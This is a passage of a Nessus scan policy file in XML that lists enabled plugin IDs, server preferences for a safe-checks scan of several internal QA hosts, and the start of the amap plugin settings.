42400;16463;10661;25202;59356;17451;13251;54521;50976;31613;31161;20851;48469;64751;25121;59607;11317;35158;63505;19826;51741;50545;62673;36465;23331;13714;41657;43931;56421;65044;17774;30598;45703;27142;19915;22492;39224;20928;12557;12254;27905;35020;63339;22986;26504;54336;38599;22530;46634;38339;55821;55118;65232;23735;44471;28670;43821;41977;23070;42817;25766;63372;10976;22507;18357;44358;17669;35756;24069;14695;35830;12075;57765;52387;61082;12487;45548;44166;43910;32723;62143;14136;62033;51783;55030;52287;16305;37950;59893;27081;24203;37036;36428;52897;12749;28438;35548;54918;52469;33622;58498;32504;59536;20833;42284;52586;48796;12814;13841;14861;28590;10494;58429;16767;40151;47206;62844;46360;41109;15365;49362;11318;22758;39666;32054;40506;20267;20932;62837;25840;55691;19911;14480;45057;43042;52987;54086;62275;56616;33273;49704;41082;48515;58149;28547;33872;36697;20296;66482;11068;22884;17608;52517;37115;21187;13305;39083;55186;18261;16354;51342;19005;59599;35115;50172;12323;46848;37800;44063;20015;16595;19459;48884;43913;56221;35394;14129;40360;44689;31325;65906;46560;32454;37361;19616;59119;55337;34499;46150;33446;40514;37625;22703;61293;28220;17224;62227;24427;50799;25349;32007;11422;37984;15493;30207;38049;43898;20615;48695;47883;56409;38507;14614;54182;12974;28537;30338;33036;48314;66013;43991;11902;15933;27084;49473;61509;58798;46280;46569;34070;53440;33352;50513;46683;20401;55931;39524;50891;65017;65771;29358;44977;47860;33141;23937;34257;11369;61688;25940;12739;57390;45704;62645;62085;54621;39814;32625;23353;52559;19283;35235;49408;61671;49209;51022;66692;19456;28077;16524;31711;33991;49208;66443;44118;36301;48148;53757;50305;18246;62237;25454;54366;36485;24021;58867;13755;45877;21294;23145;28047;53123;53212;62525;39537;24159;55013;58034;51302;21083;38503;28328;63140;54878;25702;18093;42492;44928;36037;51812;52788;25942;28614;55218;43231;11999;40270;23273;43844;49004;55491;65332;64684;59931;16507;25324;33473;56067;20471;49967;24052;27187;65177;66959;30398;59219;32679;32433;37663;24430;40044;48677;38120;29929;39706;45237;45429;39621;63473;54257;39640;19198;33492;64977;57335;39925;54999;19317;37806;50076;60182;65848;66661;58765;38131;46247;34916;59459;11232;39291;49565;66589;20206;16370;59841;47308;21798;66042;54485;29186;55578;41550;43416;51671;19293;20492;13482;26701;46629;38222;30665;33593;61687;18343;55455;26264;24229;56749;66452;15302;64285;14206;64705;15141;44706;25315;56070;52536;32599;51569;16973;13082;11561;24785;18837;51897;32615;29383;47496;35252;40772;40386;15390;36589;14986;20573;18096;50048;48685;11836;51909;22582;42136;52198;32385;45042;49533;32010;35023;53443;22046;35487;42190;15513;34677;31307;60276;33740;58743;66373;60972;58784;37146;50681;36059;29654;32702;34276;18068;17792;61833;47347;59140;54377;38655;51842;56326;18934;49947;18577;40700;50299;66043;35934;19219;39201;42075;26050;16567;38779;50985;11531;55266;30953;24109;16715;39374;57668;52218;60641;66407;53753;28918;47434;38308;55946;34978;62531;50505;65614;43427;29551;12450;29062;38435;54325;16849;36434;66877;42797;41233;66170;27706;43948;47076;53135;43286;11141;24832;58714;36323;64997;51423;36969;22988;47868;57786;36733;49226;49643;22362;39865;51816;44150;31880;30655;11149;38466;26816;56012;34717;34757;48338;56805;38573;10990;52635;22159;59625;64931;51809;19845;49317;10270;33496;38732;55113;16604;64479;54233;51140;10115;44945;47004;19381;46742;46441;66687;59751;57634;48458;31649;62870;21504;27587;43154;66394;63084;57220;33923;10340;56780;52838;27750;63833;22968;51884;11015;45311;65218;45502;35348;46039;17422;21262;48456;54502;17320;55198;20954;56269;20024;12531;26750;35754;43978;38757;41286;60551;15309;13831;63137;60377;58064;43054;66696;39274;64271;35539;44206;24772;18905;32131;36593;57449;61170;50601;63144;46264;32006;25717;22193;22882;49238;21931;25636;16703;37684;15033;59379;57770;39695;10995;54454;29581;42956;43209;48431;22972;17636;54961;45725;52549;25298;34498;65343;55609;21307;52464;51826;64346;31250;50160;32491;33289;22167;47812;50245;19701;14186;25072;50170;29787;17384;53129;55470;20294;17250;23424;62263;53679;37005;23033;13983;37658;64662;34473;56685;58815;37847;33800;23160;63988;21179;31360;13606;51156;57841;11004;49940;33733;26689;36098;31562;25133;62048;34719;54522;47622;16228;39021;60012;12893;52862;65927;63476;21606;61123;51204;44751;47885;39186;11231;42238;36950;31072;26447;38657;21817;32441;33671;50072;33686;20896;22284;30657;53003;51064;16154;64691;45716;42356;23448;43463;14600;57987;24528;29927;50969;32150;50752;31351;12003;18494;26831;55555;59381;36055;10541;12000;28193;26830;53654;11123;27129;61530;56930;45252;42734;53800;51901;12387;36090;44551;42914;30150;35655;21459;30602;60690;42364;27930;28275;61898;49391;13287;42097;58962;10862;30742;21999;39032;54688;26224;18597;42646;22940;22885;42237;10425;24991;66432;56971;49392;28312;18419;35648;27275;53333;61881;39420;59803;31070;34984;38493;64651;37783;25673;62054;40226;47529;42614;22449;42675;15859;23412;44134;45552;45560;33353;23192;18950;47255;44180;28857;37695;39174;13263;35417;10736;65882;59960;16256;31978;21549;25899;25433;34232;39565;62043;11319;37893;52816;54788;55721;32778;21259;20582;12535;15589;26100;12002;57471;64159;14866;64645;55485;35413;57740;56167;46153;34083;57933;12102;40691;24474;14181;13130;59670;36199;60979;38591;35264;16687;43237;10292;14424;56460;10427;44714;25620;32048;40367;10043;46849;49175;35110;22866;10664;58682;11519;14550;20166;47056;53853;50274;46120;39962;21320;26054;41125;17606;15423;34494;54095;38802;54103;33469;18925;64770;26117;39463;55233;25104;10288;11146;34744;60478;38664;31156;33757;37182;37692;64384;65455;16035;62512;15722;39788;62888;57677;50099;55287;41450;12452;44997;13693;14631;52641;41509;19825;50052;19530;43264;12390;56837;64006;55699;53796;61910;64655;33218;27913;56890;44373;46102;13011;45484;37573;15157;61622;23761;54519;35879;49986;14121;30430;47304;46447;29990;11320;28292;51243;47602;11352;30385;51725;27117;66491;11365;10319;28717;57708;28125;23859;33959;29746;64620;21591;43776;18433;29082;61534;16676;50596;29375;34317;16055;56274;17090;15212;24554;29562;17722;46521;14644;44281;33332;61191;30870;55385;48755;38028;33279;50830;56871;59002;57819;58927;57638;26338;54844;55478;25156;62783;63148;16246;21065;11830;53663;39202;24609;33933;38200;14230;66801;61923;39069;21491;11274;48309;57934;50010;25986;25712;64355;65302;61628;18521;51129;18377;64351;50814;31013;35431;18953;49869;31279;50527;42497;14853;17758;32830;10962;43280;62474;42949;34697;66362;60016;54587;18562;45894;23060;15755;65647;38145;44566;48878;21897;62128;19992;47358;52021;40371;15153;62622;26392;63870;36026;43537;20768;59987;63697;28735;56403;21373;26542;21767;21596;27892;13296;24631;50232;29075;27252;13619;32521;13505;57914;48364;19766;66440;31084;61304;63159;12955;30500;30744;34286;15529;56986;35006;40898;45831;53885;57892;29531;11400;56575;14939;14383;42691;61926;54029;40048;34150;38069;27352;60051;50386;52468;57371;11467;54207;34570;47843;59170;25622;14925;58090;51247;10940;26242;33836;36429;59601;26255;62186;35018;20348;22869;57566;46238;61326;26894;11677;34423;30356;59656;25685;27585;53846;32780;27209;21005;55826;20726;31783;17396;43144;29609;26321;55293;16420;38335;22820;55727;19234;10254;52718;52765;49104;18444;55467;38268;31502;37993;35549;20133;22684;61832;59254;22187;55751;23085;32383;23419;57724;33583;33925;54702;33582;50021;51309;16007;28269;17151;60800;30533;19343;48326;10399;13906;60918;24753;65681;19073;47373;46735;49790;20658;43094;32750;58217;42806;11558;10413;44357;18386;14370;35420;42048;60408;57720;35239;32939;18392;30994;31488;25157;33038;31854;38290;55176;34260;10819;64680;46905;17305;36781;16538;43403;54809;59128;37943;42576;11376;59963;65540;38196;35494;20795;13075;22307;62120;31083;60283;12734;14495;21564;21901;15804;51278;25679;53816;32980;23221;66111;45214;13265;28095;21394;58427;19354;43375;48253;31480;14969;16026;35039;28674;34208;14386;63931;44976;64843;34104;32494;28276;61038;44925;56721;45899;51482;59620;42491;54744;23278;53426;49247;34832;62627;14635;62181;18890;47592;18295;66668;37563;29937;20383;18303;63124;22113;25667;17816;31540;41980;56111;36869;15501;24463;26828;24492;19239;38137;63551;28549;43059;29898;39781;48558;21347;37976;28869;61144;42151;22398;50885;55977;24233;32965;46880;38791;26206;61929;27910;21385;63730;36342;59107;12259;41490;11458;34299;37986;29523;23109;48765;31519;47355;56935;43266;61664;16678;59856;59227;56691;28776;60716;35948;32962;64077;48826;47165;36031;36072;23526;50383;14894;54265;60768;41796;61591;45041;45634;33454;57450;24703;61933;55140;27479;66925;52342;50396;38501;45702;29461;42793;35520;27518;26272;61648;48370;46682;38742;42599;66435;38093;45774;52931;36499;26981;23114;65296;66097;38100;39300;42987;19743;58844;52041;36471;47267;54374;31825;16302;13368;15076;26325;30567;14660;63608;40979;35241;56926;37298;26319;14962;49990;55063;46843;50538;10851;12302;26764;51823;32117;36636;36725;41722;42438;26033;10883;18144;45348;35701;37209;33207;25987;17211;39372;50728;29447;19936;50973;22830;44342;57208;36809;28142;23501;31794;22325;19533;33448;27102;16782;18982;59274;43745;57227;48387;63532;46364;39243;49520;57530;42512;37195;59019;41179;34595;60710;54312;59321;15009;30635;12422;13574;19958;16880;49508;14854;11333;41171;65139;54032;60688;20822;48450;25001;62759;42996;64299;60495;17988;52460;51691;59649;27456;30558;59840;11177;56768;21201;55417;54789;10200;20980;26975;47103;44550;42907;47848;46982;60856;25403;15459;65582;24844;29259;62441;24622;48301;29055;29920;48177;40508;48859;18972;20934;21344;25844;22056;35731;32403;45981;55584;65295;39548;44405;44182;31232;66375;64922;48733;34643;28602;12538;51625;29769;43804;55987;25251;50584;48204;26232;56134;45555;66014;39721;32157;62577;38982;52798;20349;14649;53095;61235;37332;56848;17040;61266;65554;62454;58417;23882;41151;19088;11713;50407;60204;54529;41736;24485;27359;47294;59928;14490;28052;16193;51080;31390;19665;14748;50494;58174;66797;24873;42563;61831;36768;39109;39796;30587;40894;32700;18108;18862;32415;17359;28864;32151;21712;12033;64570;33586;40224;40613;58363;50878;26655;62857;14607;51455;65542;58931;20474;66576;38390;27532;36717;11693;40222;33164;49548;18780;23252;22228;15147;12459;51425;56368;37726;28139;43714;20239;59748;57929;45849;65712;25227;23920;53818;38151;39126;50977;33057;14021;37654;55017;21323;58789;46481;24939;48770;36389;50511;44016;29360;61457;23886;44428;12013;11380;51608;25913;53383;47776;48235;17352;54030;66641;20170;41947;18203;58340;54179;30923;48726;58804;16019;25038;28281;14641;64058;57104;12827;66907;60809;41552;25099;21567;37386;65116;15772;41350;23048;66477;59004;59253;45797;53042;60910;18039;49407;62772;37357;42154;42539;11276;21825;30273;11669;30295;27695;38355;13674;24875;21366;49415;63177;33654;46278;47242;39483;57009;33719;17823;21849;63333;18872;31578;21185;65946;14099;48228;39242;37562;35953;47392;17007;53601;51850;32248;20708;53984;24290;64720;17241;18313;57545;39646;30796;15631;38305;62479;26486;17987;29216;36943;45197;28085;56336;38130;28773;39637;21960;16474;30622;34933;41637;51613;37295;47096;13200;31152;39619;38772;17709;47391;63758;52511;64152;55813;36532;66536;12637;46211;52103;22369;55577;38620;32259;39239;24135;63410;21600;49629;44707;27198;27434;12517;10698;29763;45613;29806;11038;45195;54863;32159;10699;66972;58351;27182;25303;45805;27620;57202;37513;39994;24983;30995;33566;59405;54562;47167;66036;61907;36204;20101;25781;17704;25132;41840;49026;43281;40670;43299;33340;23108;16677;15985;31718;57810;44816;49050;22244;20638;43525;22422;43689;18232;11496;54948;35588;64875;36961;16693;63491;30464;47757;33174;60671;40571;55229;22932;14960;24929;58625;19950;37016;32171;19486;33553;47822;36607;42004;52599;23464;41307;59894;50995;32563;33404;23157;17679;58727;14044;26482;28448;22600;46837;12836;56945;64483;17307;35772;20508;35400;31695;46339;64848;56312;37269;59173;34743;31221;66860;61198;60099;58127;10533;58774;27166;38952;33519;20717;41811;61069;15889;28191;44465;36741;60281;20116;30410;58635;35206;24108;58074;59945;18069;51454;31343;45967;46911;44458;66331;54342;36701;64707;28244;58671;32988;41844;36938;65711;19796;46773;57105;29394;65813;26759;39407;55465;13528;63584;31875;32289;12288;59316;64100;26731;16099;44078;26963;13774;34849;41385;31211;63478;21152;48614;22774;22708;54691;44783;28648;56007;53145;13651;33307;11262;48221;42458;43925;24744;46473;16535;17447;19870;63272;37050;38526;19065;54066;37567;15578;52964;35980;47487;40162;40899;26406;22473;46609;63954;64330;63189;44255;53243;51841;42349;58676;65163;56216;22330;42329;63403;12212;42102;11926;38823;26077;40304;59706;42840;54604;45999;23232;30899;56195;12317;66045;44288;33939;42850;10460;37794;26285;57162;52493;45810;61273;30903;63825;14581;10865;43385;43147;50218;49842;39233;41493;60928;37076;29500;28876;64074;61096;52425;18000;10394;40607;55302;32244;60190;27070;63915;34434;60574;17397;19378;61427;50645;18089;58598;46071;53911;57893;43170;60691;22977;36857;35233;60429;34645;52421;15928;46082;17058;50523;20337;36063;62505;45637;13031;19657;37479;57072;25497;52915;16983;65526;18571;45355;19725;14471;34051;44759;47473;35061;20230;19713;65869;53902;42057;44480;11223;55479;42023;43567;38045;10078;52571;45313;47753;20735;20520;14349;35452;46509;15485;66815;45096;21932;31585;50399;50949;47275;37395;34623;26956;11129;57120;62379;59434;26442;57037;32665;59930;33887;42393;26263;12613;16865;24516;12012;14522;56462;25936;24453;47716;66953;51494;20777;16795;28456;15220;48504;33223;45527;42363;55695;44617;63419;61300;26570;54308;50224;21452;50775;22043;42955;19391;57697;33840;25181;24583;22370;16920;23851;60884;32073;40797;36538;44335;22760;57228;14872;64669;44705;51023;58885;63126;11761;63598;21996;29095;28525;20436;22993;42259;32205;41887;58019;26730;56895;13837;11490;19227;26937;28807;33834;21068;56732;55966;12882;35050;47340;32535;38536;40904;15190;45976;39696;21581;41834;30086;31804;65309;62777;20145;29184;37832;66173;30582;60075;12937;28023;62083;49266;13007;10028;21040;29989;39278;13620;11391;63363;56235;11218;57968;12084;51147;26536;47682;14006;51552;52724;25467;31422;31926;63458;13330;32627;41503;37547;19429;58886;66156;20487;62872;13955;20533;48880;57185;15249;29922;65562;14291;19023;21837;65168;24465;43678;59485;22097;13645;45865;17431;33493;30475;24125;59038;30844;38170;41065;14593;33673;59718;48230;11898;11755;64696;30023;29514;19319;50791;35707;48163;40043;60565;29000;26856;48407;31984;40615;34696;48561;62738;65365;43510;24776;63396;50526;62649;13833;43706;42511;16301;46800;32611;40774;63883;59063;15005;29439;19798;23292;25914;17383;43053;58554;16872;39527;54134;46575;38994;61784;37406;48612;34788;22098;30463;63057;11893;15008;58969;15046;37398;20126;35228;10786;20413;45563;50833;45315;26715;23360;53456;17365;66233;12319;59480;43926;43894;66368;37914;44803;32497;28078;27158;26165;33462;49397;59491;24619;27063;11489;51610;43379;30493;25848;18994;66348;13815;65005;62149;11429;48965;42639;19489;55462;26873;30698;18478;39882;64978;59361;26115;43245;28762;48616;20452;34656;45433;44643;43368;64396;19348;54483;44017;45309;58739;32502;36687;48660;62724;23747;19916;12692;16040;25134;39839;48692;33029;51511;17804;47087;36056;27509;22974;54556;13680;23765;38625;42292;52693;48220;37833;31909;29189;49886;50307;20396;53186;56011;35609;34501;31447;12243;49511;21765;38409;28898;62420;58818;23834;53977;25076;49042;15746;30966;27310;18415;18949;61261;38188;11357;23475;17820;30432;19314;42861;57942;50481;49755;64730;29416;29431;21668;17514;13657;41582;46100;64826;50096;41942;24853;43521;52575;27427;66874;59075;15446;45769;12351;29162;36085;38966;61008;45664;58866;33764;63526;14595;35983;41608;43269;31361;54307;17010;30560;42752;15240;30233;17287;41995;66608;33347;22346;46816;25342;37329;57362;28775;43489;21162;34254;23679;38544;36239;13820;51969;66919;20443;43462;64462;65243;59581;60993;18963;49176;44169;39022;29116;61012;54319;26313;19965;37408;48400;34950;23150;58741;29554;10447;66159;56722;63946;63517;31324;36108;40213;27057;12092;48361;50844;40087;55973;20392;40086;43022;30841;18751;57523;44988;13604;16592;55428;27110;57343;46422;60867;23617;59749;55795;44495;37422;45089;58768;18049;59311;29194;40387;28797;16997;23064;47403;65456;57649;14392;46515;26135;57289;63867;46989;46349;35943;27815;23889;56755;26251;55720;50118;54780;56629;39732;26174;40031;47309;58550;17030;26732;55035;66374;34535;46784;52158;46070;47279;44908;61422;36172;59385;11637;25978;62539;51612;13637;66639;52732;43439;14730;52682;34758;49202;27574;35019;66249;44497;31703;57326;34612;13981;28759;31209;15045;42780;41744;30408;39329;50295;14699;32850;44386;19203;57804;25437;42499;58531;31091;39973;45379;39494;53142;20011;49117;26553;36080;27332;28667;11698;32025;33243;60368;20917;54956;55690;21384;37666;20025;19745;51135;55697;34957;10523;46323;55230;47658;53862;40478;47874;40067;10585;11074;26581;39536;10048;29779;29601;10574;26949;58938;47143;22021;61673;10553;35703;25968;41261;51562;36537;45743;60887;36985;32077;32694;29856;37544;66782;14535;10850;60223;44443;28861;31138;11005;52340;56295;22581;64379;28551;43018;29613;39571;41263;50956;46139;51946;29873;65049;46691;52065;29135;39082;23373;31586;30373;44095;49301;31416;20781;20416;14615;42989;50510;33115;26577;62528;37843;24385;48478;54362;65035;60465;27242;36992;44128;57138;39244;49456;59235;54826;63739;28204;66479;66269;19835;26002;57679;31398;54092;51457;17012;39905;30987;15399;26350;19784;66065;18293;35606;27412;30015;15320;32443;20218;29714;50461;50492;16875;47845;61128;39150;43148;38988;22493;21883;50843;49854;66328;39451;55970;20881;42124;20530;59662;11235;17000;61340;37543;11812;22522;27569;19373;27248;62405;19544;36173;61211;47869;16197;60446;45530;56883;57351;33018;38777;37219;55080;36779;57891;32488;41937;26410;43788;19502;17972;30820;25640;65020;24541;57428;49329;22862;43557;29859;46452;18088;16249;43625;60405;44065;46582;42447;59301;23769;62670;21641;51624;18338;51362;42348;19242;46881;26464;43195;50484;16138;66952;11514;18325;28337;60524;54931;27003;30677;22991;27977;15424;43634;53043;25652;60210;47284;57163;22209;37937;28995;65400;66836;61165;64142;41393;33467;21914;15526;24501;46597;19137;28451;45882;53078;45757;45690;25759;28965;62813;58952;13371;58131;65361;33295;14506;53465;30948;29327;58009;63769;36307;24005;15105;16334;61124;62241;49709;15696;27190;37315;10063;26817;24010;19392;39868;45460;16434;40968;64011;39767;62282;61894;19516;35484;41186;35086;52454;46137;51402;36276;35246;32924;35925;33483;58099;51916;20032;51501;41120;45939;35909;58485;10301;26697;43108;22452;42786;56431;53719;66684;15206;61240;61954;57682;14294;14160;35429;26229;30054;59698;48894;61135;39749;49067;22014;50029;60820;61562;48565;47049;10179;10477;32452;56101;45247;28467;65326;63110;28646;60580;45510;37771;32161;65222;60848;52020;22339;36515;27147;34690;10303;65330;16219;62337;63020;46361;31445;46080;38073;66371;66204;54663;19579;16979;55572;54117;23404;65297;12768;31073;55078;59826;44749;62108;15366;34512;62639;26316;21329;56916;13127;14161;47305;52905;58594;15903;13900;21859;54919;46811;46967;42557;25297;32192;43161;48296;54978;57233;28376;21884;58106;45917;29313;34946;60423;16170;19589;45983;46119;59908;50106;47613;12678;56176;43190;60698;32435;43429;17279;38735;62521;10205;64064;15495;14543;41866;12233;41905;61711;36425;43227;15886;54037;33620;16491;51643;38826;58356;16096;28214;40566;18734;53150;26074;19941;63921;21012;47604;60259;32472;15521;64265;60388;21650;34523;57349;46427;34881;16469;31758;35378;34626;37740;30453;37253;14198;42312;24751;20220;44023;37052;56524;56164;55723;18606;28817;51339;23370;23238;52035;12857;27809;20946;65636;47802;18901;46494;39093;12030;48785;43651;23095;13102;57287;62967;23670;41477;13773;61658;63528;44879;36008;65541;14240;30365;36267;37992;50187;13186;55989;19304;28868;58169;12371;60516;30990;10645;51208;65466;56907;50838;53533;32465;16331;10986;65394;38563;33239;23529;25184;41390;62802;39262;64777;61098;42410;18475;27730;31310;42022;61589;16144;46505;47093;28196;59068;47368;53839;25200;59136;45483;43888;16451;38971;16372;10393;44404;38576;58495;51545;13394;37933;61151;64703;65715;13211;51312;25186;47446;32957;22152;34402;32420;23878;62056;23498;59188;65126;62752;17648;60156;62423;39131;49593;33790;35621;57224;27096;51324;59568;38597;42668;55906;18731;12376;44521;19629;14340;38287;63854;61035;29752;13385;24458;27408;11679;34948;51834;36040;56260;44111;50433;35887;65344;32272;57718;31772;40975;64591;16282;34582;22169;10029;63781;45329;26522;25727;19031;12201;37546;36720;30418;18910;44964;61734;22494;58082;43479;40992;30678;65009;47598;54241;26866;40665;16004;19318;18675;54318;15684;15453;38956;18495;58020;46350;41268;64585;30524;57743;62242;17145;23149;22573;30265;34614;19938;30916;14630;37175;22245;59744;34493;16560;16140;15291;31032;30443;65118;16540;18938;52637;11143;52947;57802;63622;21441;57874;47039;28641;42085;36160;11740;48988;49006;31799;63442;13335;66194;16702;23590;25806;13613;35942;25637;30975;56061;27783;13982;63590;48490;47879;28664;22739;48360;37982;33577;50922;41814;30421;56315;51175;31316;10815;58181;40496;41610;25907;19267;44616;36893;22246;56522;16058;20010;65453;36126;15311;24377;32942;35211;18964;37488;10881;14213;18035;14112;45356;10734;44106;65370;33070;60832;14249;39977;45561;18898;53056;64610;14408;19660;56753;45464;40187;47475;59031;11053;35540;31524;15030;18986;24475;28848;38953;23338;15781;43838;27517;66922;33745;44212;24132;60699;32597;39688;53399;64109;27290;58271;22893;59685;26038;49189;62616;49858;10922;19285;38353;56734;58571;62398;56547;28791;34709;13556;44191;39690;31402;47380;24110;46782;30326;24358;41113;31633;62711;20072;42373;12769;17420;29549;54548;23359;45821;62990;38676;59460;10988;60284;17833;19600;25003;54106;65452;54076;53321;58210;64965;62464;63007;21603;25933;10968;20140;23369;32998;11205;22002;55535;16931;44190;42487;33155;36369;44273;32592;14365;21818;62485;50082;35513;54757;46877;40010;11684;26708;42318;41560;33280;38118;43977;61203;52417;62475;12381;30955;63891;52881;15710;41296;49595;66020;22261;20176;59247;16723;16410;15937;51275;52406;60415;29344;26793;28280;61491;21243;30152;58228;33761;60411;51451;24026;16640;16181;54952;48330;57299;25811;25823;29981;31485;65060;23004;44261;51744;40122;10366;33696;37436;62463;63024;10939;15337;11598;20078;37156;26563;28833;56898;21533;23336;14329;51011;60941;57859;49358;43897;26972;64795;57903;54649;33342;51882;49933;21573;28601;47608;16202;10112;19468;55019;38890;55975;35168;31768;56346;53873;64545;43235;63800;59089;13724;12710;11344;12914;42692;58811;46938;61939;44652;20558;19360;53233;63831;35198;65926;50442;39116;32777;14857;58499;49076;63818;58607;51589;37114;24922;50480;54583;27494;50984;10783;43397;66656;58073;54301;40485;65978;64496;43719;31288;41176;50293;61351;24361;12073;33952;12099;25999;63774;49827;10407;39719;53189;40925;26284;15771;60412;56851;54226;61476;37234;54738;21338;28484;47075;46455;54304;53668;59978;63302;32187;55722;64936;56565;34400;12907;45133;14178;13050;43326;63827;64840;34251;60812;32589;10605;49513;45631;65566;13273;26126;65404;31299;51560;49380;39880;27637;50490;55836;56773;46565;49708;56450;55136;23056;20774;19012;56896;32811;60322;26181;61344;55711;25381;25557;59722;46053;16437;29229;14904;63076;30775;38867;14045;27342;24279;39255;52230;66785;42414;16304;44801;16188;59951;30042;51830;49951;41357;59388;63562;41229;66969;50972;38158;51689;50624;60088;35904;33703;63614;33178;16159;25580;64317;31180;64034;37673;24713;22207;22574;32654;56839;57500;29039;56588;25376;48280;31208;63750;43360;46886;17205;49538;14537;32940;44457;46157;37896;33221;63556;30038;49306;50226;20161;12666;30394;23178;60497;64112;53544;43278;58958;40064;26535;50902;22347;57382;13808;60766;40370;39117;62778;45611;20453;28346;60589;58400;21543;17528;66791;57171;65408;56641;36079;47246;19892;50904;16242;27395;59446;62445;31961;26903;18453;16594;21772;40727;35951;61578;22437;46998;62478;40891;26040;42621;20827;13400;22627;35730;41088;10093;11407;63570;30599;30772;61889;36162;28252;57194;30517;31793;55057;46747;65858;25062;62655;28380;12262;50746;52415;10276;60649;60063;14070;22455;20440;45231;53810;34469;59403;51738;54034;38712;13890;66828;51708;51491;45437;36065;28133;55236;19423;20991;22927;45603;16128;35978;57913;27600;17694;40996;66329;40079;45266;21551;28779;45607;62401;36015;31946;18322;45367;24790;47617;45720;65609;40599;12567;16275;15743;44948;12587;19962;17342;54846;31384;11284;36606;56166;33456;59427;20587;57907;50267;37302;41206;53724;14268;26009;49760;64236;16010;45336;33504;40211;15934;41330;16533;28285;26585;25067;41755;29443;56652;47799;16390;14222;46721;46196;36082;20033;28130;23854;29835;28998;11799;34293;64747;50148;43798;24510;28152;56906;44649;27483;36509;59250;41143;47455;30588;30523;25089;35327;12773;60811;20235;29684;25662;61446;20940;32229;55152;25367;65844;19022;12780;18060;54059;51934;64146;24702;53915;57094;36851;30461;27808;13740;63958;18888;43136;41611;54197;34481;46391;31247;39819;61611;16569;40988;15656;32663;38168;16051;43639;60062;62541;36501;38490;46522;33813;40375;14673;11989;23058;59243;56190;32868;46298;16549;21480;46605;20037;63365;49023;34341;51799;33902;21171;50552;13053;59975;39167;24722;26724;20375;24895;52144;29865;23852;53245;38253;28576;41421;65050;44781;17219;17654;52959;21464;13169;19780;22523;13002;50183;13134;20685;11420;15915;18400;32300;12391;25918;10182;32082;13191;61020;50566;19082;13887;63972;41770;52004;13483;30896;48268;30045;49962;28950;40844;48913;21387;44503;15636;33534;31198;31005;54416;44131;53916;22817;64448;44868;54055;47388;65431;18145;13928;29628;39862;24905;16163;27568;47472;60974;39969;62902;54471;64633;39264;65593;64272;60920;66525;12500;16806;65599;21816;49421;61234;56912;24596;32238;10588;20148;55207;17054;27767;44429;31179;16199;58596;35328;44112;11804;12472;13067;24347;24864;63716;24946;47600;65794;17436;40232;12602;29163;57989;19747;66917;65089;46960;50680;46285;28531;23850;31428;28117;21257;31355;22170;56998;53517;31935;57367;10153;65495;34712;22711;20306;27979;37617;64992;54739;45905;34883;26376;29006;65029;38720;14877;23749;15894;61459;54680;26566;33809;49823;20089;31345;59278;16947;34217;42543;66059;66289;49193;21674;42584;52402;62126;19943;14010;35157;32914;20970;48199;48948;65952;56696;26197;56684;62023;65835;22750;32042;14177;40531;62222;50327;10505;40065;37801;27225;25410;56512;56771;56224;32896;32261;24888;61201;52826;19702;34929;35946;46083;27181;28391;46313;12792;13119;54493;45346;54278;42513;48996;32953;35381;64716;38385;62527;34419;61194;32732;34072;10938;65987;49089;53896;43011;10837;55329;17042;57191;53199;60959;54315;</value>
11 </preference>
12 <preference><name>TARGET</name>
13 <value>QA3app01,QA3app02,QA3app03,QA3app04,QA3app05,QA3app06,QA3app09</value>
14 </preference>
15 <preference><name>throttle_scan</name>
16 <value>yes</value>
17 </preference>
18 <preference><name>listen_address</name>
19 <value>0.0.0.0</value>
20 </preference>
21 <preference><name>non_simult_ports</name>
22 <value>139, 445, 3389</value>
23 </preference>
24 <preference><name>slice_network_addresses</name>
25 <value>no</value>
26 </preference>
27 <preference><name>max_checks</name>
28 <value>5</value>
29 </preference>
30 <preference><name>stop_scan_on_disconnect</name>
31 <value>no</value>
32 </preference>
33 <preference><name>host.max_simult_tcp_sessions</name>
34 <value>unlimited</value>
35 </preference>
36 <preference><name>report_crashes</name>
37 <value>yes</value>
38 </preference>
39 <preference><name>xmlrpc_listen_port</name>
40 <value>8834</value>
41 </preference>
42 <preference><name>whoami</name>
43 <value>famato</value>
44 </preference>
45 <preference><name>audit_trail</name>
46 <value>no</value>
47 </preference>
48 <preference><name>policy_uuid</name>
49 <value>AF5EFE99-A40A-4E27-89B4-1E86E4953852</value>
50 </preference>
51 <preference><name>reverse_lookup</name>
52 <value>no</value>
53 </preference>
54 <preference><name>optimize_test</name>
55 <value>yes</value>
56 </preference>
57 <preference><name>log_whole_attack</name>
58 <value>no</value>
59 </preference>
60 <preference><name>ssl_cipher_list</name>
61 <value>strong</value>
62 </preference>
63 <preference><name>cgi_path</name>
64 <value>/cgi-bin:/scripts</value>
65 </preference>
66 <preference><name>unscanned_closed</name>
67 <value>no</value>
68 </preference>
69 <preference><name>save_knowledge_base</name>
70 <value>no</value>
71 </preference>
72 <preference><name>xmlrpc_no_referrer_check</name>
73 <value>yes</value>
74 </preference>
75 <preference><name>use_kernel_congestion_detection</name>
76 <value>no</value>
77 </preference>
78 <preference><name>listen_port</name>
79 <value>1241</value>
80 </preference>
81 <preference><name>auto_update</name>
82 <value>yes</value>
83 </preference>
84 <preference><name>checks_read_timeout</name>
85 <value>5</value>
86 </preference>
87 <preference><name>plugins_timeout</name>
88 <value>320</value>
89 </preference>
90 <preference><name>auto_enable_dependencies</name>
91 <value>yes</value>
92 </preference>
93 <preference><name>safe_checks</name>
94 <value>yes</value>
95 </preference>
96 <preference><name>report_task_id</name>
97 <value>7c0d6bc0-4435-4b08-50d7-30559fc1d6457227e538e257e575</value>
98 </preference>
99 <preference><name>allow_post_scan_editing</name>
100 <value>yes</value>
101 </preference>
102 <preference><name>stop_scan_on_hang</name>
103 <value>no</value>
104 </preference>
105 <preference><name>max_hosts</name>
106 <value>80</value>
107 </preference>
108 <preference><name>plugin_upload</name>
109 <value>yes</value>
110 </preference>
111 <preference><name>reduce_connections_on_congestion</name>
112 <value>no</value>
113 </preference>
114 <preference><name>feed_type</name>
115 <value>HomeFeed</value>
116 </preference>
117 <preference><name>silent_dependencies</name>
118 <value>yes</value>
119 </preference>
120 <preference><name>port_range</name>
121 <value>default</value>
122 </preference>
123 </ServerPreferences>
124 <PluginsPreferences><item><pluginName>amap (NASL wrapper)</pluginName>
125 <pluginId>14663</pluginId>
126 <fullName>amap (NASL wrapper)[file]:File containing machine readable results :</fullName>
127 <preferenceName>File containing machine readable results :</preferenceName>
128 <preferenceType>file</preferenceType>
129 <preferenceValues></preferenceValues>
130 <selectedValue></selectedValue>
131 </item>
132 <item><pluginName>amap (NASL wrapper)</pluginName>
133 <pluginId>14663</pluginId>
134 <fullName>amap (NASL wrapper)[radio]:Mode</fullName>
135 <preferenceName>Mode</preferenceName>
136 <preferenceType>radio</preferenceType>
